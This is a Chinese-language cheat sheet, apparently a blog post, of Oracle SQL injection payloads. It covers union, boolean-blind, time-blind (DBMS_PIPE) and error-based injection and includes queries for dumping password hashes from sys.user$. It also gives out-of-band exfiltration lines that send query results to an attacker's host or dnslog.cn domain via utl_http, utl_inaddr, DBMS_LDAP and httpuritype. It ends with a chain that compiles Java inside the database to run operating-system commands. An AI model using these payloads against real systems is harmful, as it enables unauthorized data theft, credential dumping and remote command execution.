1. 程式人生 > 其它 >Oracle注入總結

Oracle注入總結

Oracle inject總結

獲取常見資訊語句

獲取資料庫版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;

獲取作業系統版本:

SELECT banner FROM v$version where banner like 'TNS%';

獲取當前資料庫使用者:

SELECT user FROM dual;
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

獲取當前使用者許可權:

SELECT * FROM session_privs;

獲取所有資料庫使用者密碼:

select name, password, spare4 from sys.user$

獲取DB檔案路徑:

SELECT name FROM V$DATAFILE;

檢視當前使用者許可權

select * from session_roles

伺服器監聽IP

select utl_inaddr.get_host_address from dual

獲取當前的作業系統

SELECT  dbms_utility.port_string FROM dual;
select member from v$logfile where rownum=1  //路徑也是可以判斷的

獲取伺服器SID

select instance_name from v$instance

Union injection

//基本都是大寫哈 判斷欄位

order by
union select null,'null' 根據'' 判斷哪裡是字串

爆表

union select 1,(select table_name from user_tables where rownum=1) from dual

union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一個表')) from dual

爆欄位

union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大寫的)') from dual

union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一個欄位')) from dual

爆資料

union select 1,欄位1||欄位2...||欄位n from 表名 where rownum=1 --
連線多個欄位用到的連線符號是||,在oracle資料庫中,concat函式只能連線兩個字串

通過欄位名查詢對應的表:

SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%USERNAME%'

Bool Blind injection

substr_ascil函式

and (select length(table_name) from user_tables where rownum=1)>1--

(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100

(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)

(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10

decode 函式

decode(條件,值 1,翻譯值 1,值 2,翻譯值 2,...值 n,翻譯值 n,預設值)
【功能】根據條件返回相應值

測試當前使用者

select decode(user,'SYSTEM',1,0) from dual;

如果是system使用者則返回1,不是則返回0.

SQL> select decode(user,'SYSTEM',1,0) from dual;

DECODE(USER,'SYSTEM',1,0)
-------------------------
                        1

注入時decode的應用

判斷是否是SYSTEM使用者

' and 1=(select decode(user,'SYSTEM',1,0) from dual) --

也可以decode+substr組合

' and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

case when then

其實和上面的decode差不多

SQL> select case when user='SCOTT' then 1 else 0 end from dual;

CASEWHENUSER='SCOTT'THEN1ELSE0END
---------------------------------
                                1

實際應用

' and 1=(select case when user='SCOTT' then 1 else 0 end from dual)--

instr函式

instr函式的使用,從一個字串中查詢指定子串的位置

and 1=(instr((select user from dual),'SYS')) --

當然也可以配合其他的來使用

Time blind injection

oracle的時間盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),而另外一種便是decode()與高耗時SQL操作的組合,當然也可以是case,if 等方式與高耗時操作的組合,這裡的高耗時操作指的是,例如:(select count(*) from all_objects),對資料庫中大量資料進行查詢或其他處理的操作,這樣的操作會耗費較多的時間,然後通過這個方式來獲取資料。這種方式也適用於其他資料庫。

DBMS_PIPE.RECEIVE_MESSAGE()

DBMS_LOCK.SLEEP()函式可以讓一個過程休眠很多秒,但使用該函式存在許多限制。
首先,不能直接將該函式注入子查詢中,因為Oracle不支援堆疊查詢(stacked query)。其次,只有資料庫管理員才能使用DBMS_LOCK包。

這裡講解一下Orcle包的概念
Oracle包可以分為兩部分,一部分是包的規範,相對於Java中的介面,另一部分是包體,相當於Java裡面介面的實現類,實現具體的操作,所以Oracle提供了我們雨多的包,為開發者提供了很多便利。

在Oracle PL/SQL中有一種更好的辦法,可以使用下面的指令以內聯方式注入延遲:

dbms_pipe.receive_message('RDS', 10)

DBMS_PIPE.RECEIVE_MESSAGE函式將為從RDS管道返回的資料等待10秒。預設情況下,允許以public許可權執行該包。DBMS_LOCK.SLEEP()與之相反,它是一個可以用在SQL語句中的函式。

應用:

實際應用[結合SQLMAP語句分析]

AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END)

DBMS_PIPE.RECEIVE_MESSAGE的理解

來自官網的DBMS_PIPE.RECEIVE_MESSAGE語法:
DBMS_PIPE.RECEIVE_MESSAGE (
pipename IN VARCHAR2,
timeout IN INTEGER DEFAULT maxwait)
RETURN INTEGER;
可以暫時理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延遲時間)

Decode巢狀時間語句

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --

DBMS_PIPE.RECEIVE_MESSAGE('a', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

(select count(*) from all_objects) 會花費更多是時間去查詢所有資料庫的條目,所以以這種方式進行時間判斷依據,這是一個騷氣的方式。(類比OWASP測試指南中老hu機的案例)

'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual)

Error injection

使用報錯注入需要使用類似 1=[報錯語句],1>[報錯語句],使用比較運算子,這樣的方式進行報錯注入

ctxsys.drithsx.sn()函式:

select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

ctxsys.ctx_report.token_type()函式:

select ctxsys.ctx_report.token_type((select user from dual), '1') from dual;

xmltype()函式:

and (select xmltype('<:'%7c%7c(select user from dual)%7c%7c'>') from dual) is not null

dbms_xdb_version.checkin()函式:

select dbms_xdb_version.checkin((select user from dual)) from dual;

dbms_xdb_version.makeversioned()函式:

and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

dbms_xdb_version.uncheckout()函式:

and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null

dbms_utility.sqlid_to_sqlhash()函式:

and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null

ordsys.ord_dicom.getmappingxpath()函式:

and (select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual) is not null

utl_inaddr.get_host_name()函式:

and (select utl_inaddr.get_host_name((select user from dual)) from dual) is not null

utl_inaddr.get_host_address()函式:

and (select utl_inaddr.get_host_address('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null

帶外通道(OOB:Out Of Band Channels)

使用一些除常規通道以外的替代的通道來請求伺服器資源,一般使用 Oracle 傳送HTTP或者DNS請求,將查詢結果帶到請求中,然後監測外網伺服器的HTTP和DNS日誌,從日誌中獲取 sql 語句查詢的結果,通過這種方式將繁瑣的盲注轉換成可以直接簡便的獲取查詢結果的方式,尤其是基於時間的盲注,能極大地加快速度

utl_http.request()函式

檢測是否支援utl_http.request

and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

反彈注入資訊

and utl_http.request('http://域名或者ip:埠/'||(注入的語句))=1 --注意|| 注意轉碼%7C%7C

utl_inaddr.get_host_address()函式

and (select utl_inaddr.get_host_address((select user fromdual)||'xxx.dnslog.cn') from dual)is not null --

SYS.DBMS_LDAP.INIT()函式

and (select SYS.DBMS_LDAP.INIT((select user from dual)||'xxx.dnslog.cn') from dual)is not null --

httpuritype()函式

and (select httpuritype((select user from dual)%7c%7c'xxx.dnslog.cn').getclob() from dual)is not null --

執行系統命令

自己注意觀察回顯點就行 以及執行的命令 需要稍微改一下 比如第一個union及其欄位。還有必須要有許可權一般是dba才可以。

select null,null from dual union select 1,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function osshell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
select osshell('whoami') from dual;

參考:https://zhuanlan.zhihu.com/p/157115806